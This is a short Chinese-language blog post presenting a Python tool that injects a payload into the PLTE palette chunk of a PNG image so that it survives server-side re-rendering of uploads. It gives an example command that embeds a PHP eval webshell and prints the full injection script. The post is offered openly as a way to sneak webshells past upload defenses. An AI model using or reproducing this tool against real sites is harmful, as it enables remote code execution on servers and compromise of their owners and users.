Rock's blog

兴趣是最好的老师

0%

PNG-write-payload

在PNG图像中隐藏payload,绕过二次渲染

1.绕过原理

在上传含有木马的图像时常常会遇到服务端对上传的图像进行二次渲染。服务端会提取图像中信息,并重新合成一幅图像,所以简单地将木马附加到图像最后或者注释信息中是不能成功上传图片木马的。

对于PNG图像,可以考虑把木马隐藏到PLTE数据区或是IDATA数据中。

2.程序实现

以下的程序实现了将用户给定payload写入含PLTE数据区的PNG图像中。

使用方法:

  • -f 选择要嵌入payload的png图片
  • -m PLTE 指定嵌入位置为PLTE数据区
  • -p 输入要嵌入的payload,必须使用"包围

示例:

xxx.py -f 1.png -m PLTE -p "<?php @eval($_POST['id']);?>"

具体实现代码:

#!/bin/python3
import binascii
import re
import sys, getopt

''' GET args '''
args = sys.argv[1:]
try:
    opts, args = getopt.getopt(sys.argv[1:],'f:m:p:')
except getopt.GetoptError:
    print("Usage: -f file -m PLTE -p \"playload\"")
    sys.exit()

file_path = mode = payload = ""
for opt, argv in opts:
    if opt == '-f':
        file_path = argv
    elif opt == '-m':
        if argv == 'PLTE' or argv == 'IDAT':
            mode = argv
        else:
            print("Mode ERROR!")
            sys.exit()
    elif opt == '-p':
        payload = argv

if mode == 'PLTE':
    ''' PLTE payload '''
    hex_payload = binascii.b2a_hex(payload.encode())
    file_name = file_path.split('/')[-1]
    png = open(file_path,'rb')
    image = png.read()
    png.close()
    hexstr = binascii.b2a_hex(image)

    searchObj = re.search('504c5445(.*?)49444154', hexstr.decode())
    if searchObj:
        front_data = image[:searchObj.span()[0]//2]
        last_data = image[searchObj.span()[1]//2 - 4:]
        plte = '504c5445' + searchObj.group(1)
        if len(plte[:-16]) >= len(hex_payload):
            _new_plte = plte[:8] + hex_payload.decode() + plte[len(hex_payload) + 8:-16]

            ''' new PLTE crc '''
            crc = binascii.crc32(binascii.a2b_hex(_new_plte)) & 0xffffffff
            new_plte = _new_plte + hex(crc)[2:] + plte[-8:]
            plte_data = binascii.a2b_hex(new_plte)
            new_image_data = front_data + plte_data + last_data

            ''' new png '''
            try:
                new_png = open("_"+file_name,'xb')
                new_png.write(new_image_data)
                new_png.close()
            except IOError:
                print("_%s already exists." % (file_name))
                sys.exit()
        else:
            print("Playload too long!")
            sys.exit()
    else:
        print("Image doesn't include PLTE.")